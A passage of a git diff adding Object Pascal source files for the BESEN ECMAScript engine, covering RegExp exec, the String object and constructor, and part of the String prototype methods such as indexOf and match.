TBESENObjectRegExp) then begin + raise EBESENTypeError.Create('Not a RegExp object'); + end; + if CountArguments<1 then begin + raise EBESENRangeError.Create('Bad argument count'); + end; + + s:=TBESEN(Instance).ToStr(Arguments^[0]^); + + i:=0; + + try + TBESENObject(ThisArgument.Obj).Get('lastIndex',v); + TBESEN(Instance).ToNumberValue(v,vi); + if not (brefGLOBAL in TBESENObjectRegExp(TBESENObject(ThisArgument.Obj)).Engine.Flags) then begin + v:=BESENNumberValue(0); + end; + if (not BESENIsFinite(v.Num)) or (v.Num<0) or (v.Num>length(s)) then begin + TBESENObject(ThisArgument.Obj).Put('lastIndex',BESENNumberValue(0),true); + ResultValue:=BESENNullValue; + exit; + end; + i:=trunc(vi.Num); + except + end; + +{$ifdef UseAssert} + Assert(TBESENObjectRegExp(TBESENObject(ThisArgument.Obj)).Engine.CountOfCaptures>0); +{$endif} + Captures:=nil; + try + SetLength(Captures,TBESENObjectRegExp(TBESENObject(ThisArgument.Obj)).Engine.CountOfCaptures); + while not TBESENObjectRegExp(TBESENObject(ThisArgument.Obj)).Engine.Match(s,i,Captures) do begin + inc(i); + if i>length(s) then begin + TBESENObject(ThisArgument.Obj).Put('lastIndex',BESENNumberValue(0),true); + ResultValue:=BESENNullValue; + for i:=0 to length(Captures)-1 do begin + Captures[i].e:=brecUNDEFINED; + end; + TBESENObjectRegExp(TBESENObject(ThisArgument.Obj)).SetStatic(s,Captures); + SetLength(Captures,0); + exit; + end; + end; + TBESENObjectRegExp(TBESENObject(ThisArgument.Obj)).SetStatic(s,Captures); + if brefGLOBAL in TBESENObjectRegExp(TBESENObject(ThisArgument.Obj)).Engine.Flags then begin + TBESENObject(ThisArgument.Obj).Put('lastIndex',BESENNumberValue(Captures[0].e),true); + end; + v:=BESENEmptyValue; + o:=TBESENObjectArray.Create(Instance,TBESEN(Instance).ObjectArrayPrototype,false); + TBESEN(Instance).GarbageCollector.Add(o); + o.GarbageCollectorLock; + try + for i:=0 to length(Captures)-1 do begin + if Captures[i].e=brecUNDEFINED then begin + v:=BESENUndefinedValue; + end else begin + v:=BESENStringValue(copy(s,Captures[i].s+1,Captures[i].e-Captures[i].s)); + end; + o.DefineOwnProperty(BESENArrayIndexToStr(i),BESENDataPropertyDescriptor(v,[bopaWRITABLE,bopaENUMERABLE,bopaCONFIGURABLE]),true); + end; + o.Len:=length(Captures); + o.DefineOwnProperty('index',BESENDataPropertyDescriptor(BESENNumberValue(Captures[0].s),[bopaWRITABLE,bopaENUMERABLE,bopaCONFIGURABLE]),true); + o.DefineOwnProperty('input',BESENDataPropertyDescriptor(BESENStringValue(s),[bopaWRITABLE,bopaENUMERABLE,bopaCONFIGURABLE]),true); + finally + o.GarbageCollectorUnlock; + end; + ResultValue:=BESENObjectValue(o); + finally + SetLength(Captures,0); + end; +end; + +end. diff --git a/Core/JS/BESENObjectString.pas b/Core/JS/BESENObjectString.pas new file mode 100644 index 0000000..657470b --- /dev/null +++ b/Core/JS/BESENObjectString.pas @@ -0,0 +1,133 @@ +(******************************************************************************* + L I C E N S E +******************************************************************************** + +BESEN - A ECMAScript Fifth Edition Object Pascal Implementation +Copyright (C) 2009-2016, Benjamin 'BeRo' Rosseaux + +The source code of the BESEN ecmascript engine library and helper tools are +distributed under the Library GNU Lesser General Public License Version 2.1 +(see the file copying.txt) with the following modification: + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent modules, +and to copy and distribute the resulting executable under terms of your choice, +provided that you also meet, for each linked independent module, the terms +and conditions of the license of that module. An independent module is a module +which is not derived from or based on this library. If you modify this +library, you may extend this exception to your version of the library, but you +are not obligated to do so. If you do not wish to do so, delete this exception +statement from your version. + +If you didn't receive a copy of the license, see <http://www.gnu.org/licenses/> +or contact: + Free Software Foundation + 675 Mass Ave + Cambridge, MA 02139 + USA + +*******************************************************************************) +unit BESENObjectString; +{$i BESEN.inc} + +interface + +uses SysUtils,Math,BESENConstants,BESENTypes,BESENObject,BESENValue,BESENObjectPropertyDescriptor; + +type TBESENObjectString=class(TBESENObject) + public + Value:TBESENString; + constructor Create(AInstance:TObject;APrototype:TBESENObject=nil;AHasPrototypeProperty:longbool=false); overload; override; + destructor Destroy; override; + function GetEx(const P:TBESENString;var AResult:TBESENValue;var Descriptor:TBESENObjectPropertyDescriptor;Base:TBESENObject=nil;Hash:TBESENHash=0):boolean; override; + function GetOwnProperty(const P:TBESENString;var Descriptor:TBESENObjectPropertyDescriptor;Hash:TBESENHash=0):boolean; override; + procedure Finalize; override; + procedure Mark; override; + procedure UpdateLength; + end; + +implementation + +uses BESEN,BESENStringUtils,BESENNumberUtils; + +constructor TBESENObjectString.Create(AInstance:TObject;APrototype:TBESENObject=nil;AHasPrototypeProperty:longbool=false); +begin + inherited Create(AInstance,APrototype,AHasPrototypeProperty); + ObjectClassName:='String'; + ObjectName:=''; + + Value:=''; + OverwriteData('length',BESENNumberValue(0),[]); +end; + +destructor TBESENObjectString.Destroy; +begin + Value:=''; + inherited Destroy; +end; + +function TBESENObjectString.GetEx(const P:TBESENString;var AResult:TBESENValue;var Descriptor:TBESENObjectPropertyDescriptor;Base:TBESENObject=nil;Hash:TBESENHash=0):boolean; +begin + result:=false; + AResult.ValueType:=bvtUNDEFINED; + if GetProperty(P,Descriptor,Hash) then begin + if ([boppVALUE,boppWRITABLE]*Descriptor.Presents)<>[] then begin + if boppVALUE in Descriptor.Presents then begin + BESENCopyValue(AResult,Descriptor.Value); + end; + end else if ([boppGETTER,boppSETTER]*Descriptor.Presents)<>[] then begin + if assigned(Base) then begin + GetGetter(Base,AResult,Descriptor); + end else begin + GetGetter(self,AResult,Descriptor); + end; + end; + result:=true; + end; +end; + +function TBESENObjectString.GetOwnProperty(const P:TBESENString;var Descriptor:TBESENObjectPropertyDescriptor;Hash:TBESENHash=0):boolean; +var Index:int64; + v:TBESENValue; +begin + // ES5 errata fix + Descriptor.Value.ValueType:=BESENUndefinedPropertyDescriptor.Value.ValueType; + Descriptor.Getter:=BESENUndefinedPropertyDescriptor.Getter; + Descriptor.Setter:=BESENUndefinedPropertyDescriptor.Setter; + Descriptor.Attributes:=BESENUndefinedPropertyDescriptor.Attributes; + Descriptor.Presents:=BESENUndefinedPropertyDescriptor.Presents; + result:=inherited GetOwnProperty(P,Descriptor,Hash); + if not result then begin + TBESEN(Instance).ToIntegerValue(BESENStringValue(p),v); + if BESENIsFinite(v.Num) then begin + Index:=BESENToInt(v.Num); + if (IntToStr(abs(Index))=P) and ((Index>=0) and (Index<length(Value))) then begin + Descriptor.Value.ValueType:=bvtSTRING; + Descriptor.Value.Str:=copy(Value,Index+1,1); + Descriptor.Getter:=nil; + Descriptor.Setter:=nil; + Descriptor.Attributes:=[bopaENUMERABLE]; + Descriptor.Presents:=[boppVALUE,boppWRITABLE,boppENUMERABLE,boppCONFIGURABLE]; + result:=true; + end; + end; + end; +end; + +procedure TBESENObjectString.Finalize; +begin + inherited Finalize; +end; + +procedure TBESENObjectString.Mark; +begin + inherited Mark; +end; + +procedure TBESENObjectString.UpdateLength; +begin + OverwriteData('length',BESENNumberValue(length(Value)),[]); +end; + +end. diff --git a/Core/JS/BESENObjectStringConstructor.pas b/Core/JS/BESENObjectStringConstructor.pas new file mode 100644 index 0000000..01cb274 --- /dev/null +++ b/Core/JS/BESENObjectStringConstructor.pas @@ -0,0 +1,119 @@ +(******************************************************************************* + L I C E N S E +******************************************************************************** + +BESEN - A ECMAScript Fifth Edition Object Pascal Implementation +Copyright (C) 2009-2016, Benjamin 'BeRo' Rosseaux + +The source code of the BESEN ecmascript engine library and helper tools are +distributed under the Library GNU Lesser General Public License Version 2.1 +(see the file copying.txt) with the following modification: + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent modules, +and to copy and distribute the resulting executable under terms of your choice, +provided that you also meet, for each linked independent module, the terms +and conditions of the license of that module. An independent module is a module +which is not derived from or based on this library. If you modify this +library, you may extend this exception to your version of the library, but you +are not obligated to do so. If you do not wish to do so, delete this exception +statement from your version. + +If you didn't receive a copy of the license, see <http://www.gnu.org/licenses/> +or contact: + Free Software Foundation + 675 Mass Ave + Cambridge, MA 02139 + USA + +*******************************************************************************) +unit BESENObjectStringConstructor; +{$i BESEN.inc} + +interface + +uses Math,BESENConstants,BESENTypes,BESENObject,BESENObjectFunction,BESENValue,BESENObjectPropertyDescriptor; + +type TBESENObjectStringConstructor=class(TBESENObjectFunction) + public + constructor Create(AInstance:TObject;APrototype:TBESENObject=nil;AHasPrototypeProperty:longbool=false); overload; override; + destructor Destroy; override; + procedure Construct(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var AResult:TBESENValue); override; + procedure Call(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var AResult:TBESENValue); override; + function HasConstruct:TBESENBoolean; override; + function HasCall:TBESENBoolean; override; + procedure NativeFromCharCode(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + end; + +implementation + +uses BESEN,BESENObjectString; + +constructor TBESENObjectStringConstructor.Create(AInstance:TObject;APrototype:TBESENObject=nil;AHasPrototypeProperty:longbool=false); +begin + inherited Create(AInstance,APrototype,AHasPrototypeProperty); + ObjectClassName:='Function'; + ObjectName:='String'; + + OverwriteData('length',BESENNumberValue(1),[]); + + RegisterNativeFunction('fromCharCode',NativeFromCharCode,1,[bopaWRITABLE,bopaCONFIGURABLE],false); +end; + +destructor TBESENObjectStringConstructor.Destroy; +begin + inherited Destroy; +end; + +procedure TBESENObjectStringConstructor.Construct(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var AResult:TBESENValue); +var r1:TBESENObjectString; +begin + r1:=TBESENObjectString.Create(Instance,TBESEN(Instance).ObjectStringPrototype,false); + TBESEN(Instance).GarbageCollector.Add(r1); + r1.GarbageCollectorLock; + try + if CountArguments>0 then begin + r1.Value:=TBESEN(Instance).ToStr(Arguments^[0]^); + end else begin + r1.Value:=''; + end; + r1.UpdateLength; + finally + r1.GarbageCollectorUnlock; + end; + AResult.ValueType:=bvtOBJECT; + AResult.Obj:=r1; +end; + +procedure TBESENObjectStringConstructor.Call(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var AResult:TBESENValue); +begin + if CountArguments<1 then begin + AResult:=BESENStringValue(''); + end else begin + TBESEN(Instance).ToStringValue(Arguments^[0]^,AResult); + end; +end; + +function TBESENObjectStringConstructor.HasConstruct:TBESENBoolean; +begin + result:=true; +end; + +function TBESENObjectStringConstructor.HasCall:TBESENBoolean; +begin + result:=true; +end; + +procedure TBESENObjectStringConstructor.NativeFromCharCode(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); +var s:TBESENString; + i:integer; +begin + s:=''; + for i:=0 to CountArguments-1 do begin + s:=s+widechar(word(TBESEN(Instance).ToUInt16(Arguments^[i]^))); + end; + ResultValue:=BESENStringValue(s); +end; + +end. diff --git a/Core/JS/BESENObjectStringPrototype.pas b/Core/JS/BESENObjectStringPrototype.pas new file mode 100644 index 0000000..1b9dd21 --- /dev/null +++ b/Core/JS/BESENObjectStringPrototype.pas @@ -0,0 +1,1108 @@ +(******************************************************************************* + L I C E N S E +******************************************************************************** + +BESEN - A ECMAScript Fifth Edition Object Pascal Implementation +Copyright (C) 2009-2016, Benjamin 'BeRo' Rosseaux + +The source code of the BESEN ecmascript engine library and helper tools are +distributed under the Library GNU Lesser General Public License Version 2.1 +(see the file copying.txt) with the following modification: + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent modules, +and to copy and distribute the resulting executable under terms of your choice, +provided that you also meet, for each linked independent module, the terms +and conditions of the license of that module. An independent module is a module +which is not derived from or based on this library. If you modify this +library, you may extend this exception to your version of the library, but you +are not obligated to do so. If you do not wish to do so, delete this exception +statement from your version. + +If you didn't receive a copy of the license, see <http://www.gnu.org/licenses/> +or contact: + Free Software Foundation + 675 Mass Ave + Cambridge, MA 02139 + USA + +*******************************************************************************) +unit BESENObjectStringPrototype; +{$i BESEN.inc} + +interface + +uses SysUtils,Math,BESENConstants,BESENTypes,BESENObject,BESENObjectString,BESENValue,BESENObjectPropertyDescriptor, + BESENObjectBoolean; + +type TBESENObjectStringPrototype=class(TBESENObjectString) + private + function RegExpArg(Arguments:PPBESENValues;CountArguments:integer):TBESENObject; + public + constructor Create(AInstance:TObject;APrototype:TBESENObject=nil;AHasPrototypeProperty:longbool=false); overload; override; + destructor Destroy; override; + procedure NativeToString(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure NativeValueOf(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure NativeCharAt(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure NativeCharCodeAt(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure NativeConcat(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure NativeIndexOf(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure NativeLastIndexOf(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure NativeLocaleCompare(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure NativeMatch(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure NativeReplace(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure NativeSearch(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure NativeSlice(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure NativeSplit(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure NativeSubstring(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure NativeToLowerCase(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure NativeToLocaleLowerCase(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure NativeToUpperCase(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure NativeToLocaleUpperCase(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure NativeTrim(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure NativeSubstr(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure NativeAnchor(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure NativeBig(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure NativeBlink(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure NativeBold(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure NativeFixed(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure NativeFontColor(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure NativeFontSize(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure NativeItalics(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure NativeLink(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure NativeSmall(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure NativeStrike(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure NativeSub(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure NativeSup(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + end; + +implementation + +uses BESEN,BESENErrors,BESENObjectRegExp,BESENNumberUtils,BESENRegExp,BESENStringUtils, + BESENObjectArray; + +constructor TBESENObjectStringPrototype.Create(AInstance:TObject;APrototype:TBESENObject=nil;AHasPrototypeProperty:longbool=false); +begin + inherited Create(AInstance,APrototype,AHasPrototypeProperty); + ObjectClassName:='String'; + ObjectName:='Number'; + + if (TBESEN(Instance).Compatibility and COMPAT_JS)<>0 then begin + OverwriteData('name',BESENStringValue(ObjectName),[]); + end; + + OverwriteData('length',BESENNumberValue(0),[]); + + RegisterNativeFunction('toString',NativeToString,0,[bopaWRITABLE,bopaCONFIGURABLE],false); + RegisterNativeFunction('valueOf',NativeValueOf,0,[bopaWRITABLE,bopaCONFIGURABLE],false); + + RegisterNativeFunction('charAt',NativeCharAt,1,[bopaWRITABLE,bopaCONFIGURABLE],false); + RegisterNativeFunction('charCodeAt',NativeCharCodeAt,1,[bopaWRITABLE,bopaCONFIGURABLE],false); + RegisterNativeFunction('concat',NativeConcat,1,[bopaWRITABLE,bopaCONFIGURABLE],false); + RegisterNativeFunction('indexOf',NativeIndexOf,1,[bopaWRITABLE,bopaCONFIGURABLE],false); + RegisterNativeFunction('lastIndexOf',NativeLastIndexOf,1,[bopaWRITABLE,bopaCONFIGURABLE],false); + RegisterNativeFunction('localeCompare',NativeLocaleCompare,1,[bopaWRITABLE,bopaCONFIGURABLE],false); + RegisterNativeFunction('match',NativeMatch,1,[bopaWRITABLE,bopaCONFIGURABLE],false); + RegisterNativeFunction('replace',NativeReplace,1,[bopaWRITABLE,bopaCONFIGURABLE],false); + RegisterNativeFunction('search',NativeSearch,1,[bopaWRITABLE,bopaCONFIGURABLE],false); + RegisterNativeFunction('slice',NativeSlice,2,[bopaWRITABLE,bopaCONFIGURABLE],false); + RegisterNativeFunction('split',NativeSplit,2,[bopaWRITABLE,bopaCONFIGURABLE],false); + RegisterNativeFunction('substring',NativeSubString,2,[bopaWRITABLE,bopaCONFIGURABLE],false); + RegisterNativeFunction('toLowerCase',NativeToLowerCase,0,[bopaWRITABLE,bopaCONFIGURABLE],false); + RegisterNativeFunction('toLocaleLowerCase',NativeToLocaleLowerCase,0,[bopaWRITABLE,bopaCONFIGURABLE],false); + RegisterNativeFunction('toUpperCase',NativeToUpperCase,0,[bopaWRITABLE,bopaCONFIGURABLE],false); + RegisterNativeFunction('toLocaleUpperCase',NativeToLocaleUpperCase,0,[bopaWRITABLE,bopaCONFIGURABLE],false); + RegisterNativeFunction('trim',NativeTrim,0,[bopaWRITABLE,bopaCONFIGURABLE],false); + + RegisterNativeFunction('substr',NativeSubStr,2,[bopaWRITABLE,bopaCONFIGURABLE],false); + + if (TBESEN(Instance).Compatibility and COMPAT_JS)<>0 then begin + RegisterNativeFunction('anchor',NativeAnchor,1,[bopaWRITABLE,bopaCONFIGURABLE],false); + RegisterNativeFunction('big',NativeBig,0,[bopaWRITABLE,bopaCONFIGURABLE],false); + RegisterNativeFunction('blink',NativeBlink,0,[bopaWRITABLE,bopaCONFIGURABLE],false); + RegisterNativeFunction('bold',NativeBold,0,[bopaWRITABLE,bopaCONFIGURABLE],false); + RegisterNativeFunction('fixed',NativeFixed,0,[bopaWRITABLE,bopaCONFIGURABLE],false); + RegisterNativeFunction('fontcolor',NativeFontColor,1,[bopaWRITABLE,bopaCONFIGURABLE],false); + RegisterNativeFunction('fontsize',NativeFontSize,1,[bopaWRITABLE,bopaCONFIGURABLE],false); + RegisterNativeFunction('italics',NativeItalics,0,[bopaWRITABLE,bopaCONFIGURABLE],false); + RegisterNativeFunction('link',NativeLink,1,[bopaWRITABLE,bopaCONFIGURABLE],false); + RegisterNativeFunction('small',NativeSmall,0,[bopaWRITABLE,bopaCONFIGURABLE],false); + RegisterNativeFunction('strike',NativeStrike,0,[bopaWRITABLE,bopaCONFIGURABLE],false); + RegisterNativeFunction('sub',NativeSub,0,[bopaWRITABLE,bopaCONFIGURABLE],false); + RegisterNativeFunction('sup',NativeSup,1,[bopaWRITABLE,bopaCONFIGURABLE],false); + end; +end; + +destructor TBESENObjectStringPrototype.Destroy; +begin + inherited Destroy; +end; + +function TBESENObjectStringPrototype.RegExpArg(Arguments:PPBESENValues;CountArguments:integer):TBESENObject; +var v:TBESENValue; +begin + v:=BESENEmptyValue; + if CountArguments<0 then begin + TBESEN(Instance).ObjectConstruct(TBESEN(Instance).ObjectRegExpConstructor,BESENObjectValue(TBESEN(Instance).ObjectRegExpConstructor),nil,0,v); + if v.ValueType=bvtOBJECT then begin + result:=TBESENObject(v.Obj); + end else begin + result:=nil; + end; + end else if (Arguments^[0]^.ValueType=bvtOBJECT) and assigned(Arguments^[0]^.Obj) and (Arguments^[0]^.Obj is TBESENObjectRegExp) then begin + result:=TBESENObject(Arguments^[0]^.Obj); + end else begin + TBESEN(Instance).ObjectConstruct(TBESEN(Instance).ObjectRegExpConstructor,BESENObjectValue(TBESEN(Instance).ObjectRegExpConstructor),Arguments,1,v); + if v.ValueType=bvtOBJECT then begin + result:=TBESENObject(v.Obj); + end else begin + result:=nil; + end; + end; +{$ifdef UseAssert} + Assert(assigned(result)); +{$endif} +end; + +procedure TBESENObjectStringPrototype.NativeToString(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); +begin + if ThisArgument.ValueType=bvtSTRING then begin + BESENCopyValue(ResultValue,ThisArgument); + end else if ((ThisArgument.ValueType=bvtOBJECT) and assigned(TBESENObject(ThisArgument.Obj))) and (TBESENObject(ThisArgument.Obj) is TBESENObjectString) then begin + ResultValue:=BESENStringValue(TBESENObjectString(TBESENObject(ThisArgument.Obj)).Value); + end else begin + raise EBESENTypeError.Create('Not a string object'); + end; +end; + +procedure TBESENObjectStringPrototype.NativeValueOf(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); +begin + if ThisArgument.ValueType=bvtSTRING then begin + BESENCopyValue(ResultValue,ThisArgument); + end else if ((ThisArgument.ValueType=bvtOBJECT) and assigned(TBESENObject(ThisArgument.Obj))) and (TBESENObject(ThisArgument.Obj) is TBESENObjectString) then begin + ResultValue:=BESENStringValue(TBESENObjectString(TBESENObject(ThisArgument.Obj)).Value); + end else begin + raise EBESENTypeError.Create('Not a string object'); + end; +end; + +procedure TBESENObjectStringPrototype.NativeCharAt(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); +var v:TBESENValue; + i:integer; + s:TBESENString; +begin + BESENCheckObjectCoercible(ThisArgument); + s:=TBESEN(Instance).ToStr(ThisArgument); + v:=BESENEmptyValue; + if (CountArguments>0) and (Arguments^[0]^.ValueType<>bvtUNDEFINED) then begin + i:=-1; + TBESEN(Instance).ToIntegerValue(Arguments^[0]^,v); + if BESENIsFinite(v.Num) then begin + i:=trunc(v.Num); + end; + end else begin + i:=0; + end; + if (i>=0) and (i<length(s)) then begin + ResultValue:=BESENStringValue(copy(s,i+1,1)); + end else begin + ResultValue:=BESENStringValue(''); + end; +end; + +procedure TBESENObjectStringPrototype.NativeCharCodeAt(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); +var v:TBESENValue; + i:integer; + s:TBESENString; +begin + BESENCheckObjectCoercible(ThisArgument); + s:=TBESEN(Instance).ToStr(ThisArgument); + if (CountArguments>0) and (Arguments^[0]^.ValueType<>bvtUNDEFINED) then begin + i:=-1; + TBESEN(Instance).ToIntegerValue(Arguments^[0]^,v); + if BESENIsFinite(v.Num) then begin + i:=trunc(v.Num); + end; + end else begin + i:=0; + end; + if (i>=0) and (i<length(s)) then begin + ResultValue:=BESENNumberValue(word(widechar(s[i+1]))); + end else begin + ResultValue:=BESENNumberValue(0); + move(BESENDoubleNaN,ResultValue.Num,sizeof(TBESENNumber)); + end; +end; + +procedure TBESENObjectStringPrototype.NativeConcat(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); +var s:TBESENString; + i:integer; +begin + BESENCheckObjectCoercible(ThisArgument); + s:=TBESEN(Instance).ToStr(ThisArgument); + for i:=0 to CountArguments-1 do begin + s:=s+TBESEN(Instance).ToStr(Arguments^[i]^); + end; + ResultValue:=BESENStringValue(s); +end; + +procedure TBESENObjectStringPrototype.NativeIndexOf(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); +var v:TBESENValue; + i,j,k,l,ls,p,fp,fl:integer; + s,ss:TBESENString; +begin + BESENCheckObjectCoercible(ThisArgument); + s:=TBESEN(Instance).ToStr(ThisArgument); + if CountArguments<1 then begin + ss:=''; + end else begin + ss:=TBESEN(Instance).ToStr(Arguments^[0]^); + end; + p:=0; + if (CountArguments>1) and (Arguments^[1]^.ValueType<>bvtUNDEFINED) then begin + TBESEN(Instance).ToIntegerValue(Arguments^[1]^,v); + p:=trunc(v.Num); + end; + if p<0 then begin + p:=0; + end else if p>=length(s) then begin + p:=length(s)-1; + end; + inc(p); + ls:=length(ss); + l:=(length(s)-ls)+1; + fp:=0; + for i:=p to l do begin + fl:=0; + for j:=1 to ls do begin + k:=i+j-1; + if ((k<1) or (k>length(s))) or (s[k]<>ss[j]) then begin + break; + end else begin + inc(fl); + end; + end; + if fl=ls then begin + fp:=i; + break; + end; + end; + ResultValue:=BESENNumberValue(fp-1); +end; + +procedure TBESENObjectStringPrototype.NativeLastIndexOf(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); +var v,vi:TBESENValue; + i,j,k,l,ls,p,fp,fl:integer; + s,ss:TBESENString; +begin + BESENCheckObjectCoercible(ThisArgument); + s:=TBESEN(Instance).ToStr(ThisArgument); + if CountArguments<1 then begin + ss:=''; + end else begin + ss:=TBESEN(Instance).ToStr(Arguments^[0]^); + end; + vi:=BESENEmptyValue; + if (CountArguments>1) and (Arguments^[1]^.ValueType<>bvtUNDEFINED) then begin + TBESEN(Instance).ToIntegerValue(Arguments^[1]^,v); + end else begin + v:=BESENNumberValue(0); + move(BESENDoubleNaN,v.Num,sizeof(TBESENNumber)); + end; + if BESENIsNaN(v.Num) then begin + vi:=BESENNumberValue(0); + move(BESENDoubleInfPos,vi.Num,sizeof(TBESENNumber)); + end else begin + TBESEN(Instance).ToIntegerValue(v,vi); + end; + l:=trunc(min(max(vi.Num,0),length(s))); + ls:=length(ss); + if l<ls then begin + ResultValue:=BESENNumberValue(-1); + exit; + end; + p:=length(s)-ls; + if p<l then begin + l:=p; + end; + fp:=-1; + for i:=l downto 0 do begin + fl:=0; + for j:=1 to ls do begin + k:=i+j; + if ((k<1) or (k>length(s))) or (s[k]<>ss[j]) then begin + break; + end else begin + inc(fl); + end; + end; + if fl=ls then begin + fp:=i; + break; + end; + end; + ResultValue:=BESENNumberValue(fp); +end; + +procedure TBESENObjectStringPrototype.NativeLocaleCompare(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); +var s,ss:TBESENString; +begin + BESENCheckObjectCoercible(ThisArgument); + s:=TBESEN(Instance).ToStr(ThisArgument); + if CountArguments<1 then begin + ss:='undefined'; + end else begin + ss:=TBESEN(Instance).ToStr(Arguments^[0]^); + end; + if s<ss then begin + ResultValue:=BESENNumberValue(-1); + end else if s>ss then begin + ResultValue:=BESENNumberValue(1); + end else begin + ResultValue:=BESENNumberValue(0); + end; +end; + +procedure TBESENObjectStringPrototype.NativeMatch(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); +var RegExp:TBESENObjectRegExp; + v,vr,vs:TBESENValue; + Exec:TBESENObject; + Global:boolean; + s:TBESENString; + a:TBESENObjectArray; + n,Matches:integer; + ValuePointers:array[0..0] of PBESENValue; +begin + BESENCheckObjectCoercible(ThisArgument); + s:=TBESEN(Instance).ToStr(ThisArgument); + + v:=BESENEmptyValue; + + RegExp:=TBESENObjectRegExp(RegExpArg(Arguments,CountArguments)); + RegExp.Get('exec',v); +{$ifdef UseAssert} + Assert((v.ValueType=bvtOBJECT) and assigned(TBESENObject(v.Obj)) and TBESENObject(v.Obj).HasCall); +{$endif} + Exec:=TBESENObject(v.Obj); + + RegExp.Get('global',v); +{$ifdef UseAssert} + Assert(v.ValueType=bvtBOOLEAN); +{$endif} + Global:=v.Bool; + if Global then begin + v:=BESENEmptyValue; + vr:=BESENEmptyValue; + + Matches:=0; + + RegExp.OverwriteData('lastIndex',BESENNumberValue(0),[bopaWRITABLE]); + + a:=TBESENObjectArray.Create(Instance,TBESEN(Instance).ObjectArrayPrototype,false); + TBESEN(Instance).GarbageCollector.Add(a); + a.GarbageCollectorLock; + try + n:=0; + while true do begin + vs.ValueType:=bvtSTRING; + vs.Str:=s; + ValuePointers[0]:=@vs; + TBESEN(Instance).ObjectCall(Exec,BESENObjectValue(RegExp),@ValuePointers,1,vr); + if vr.ValueType=bvtNULL then begin + 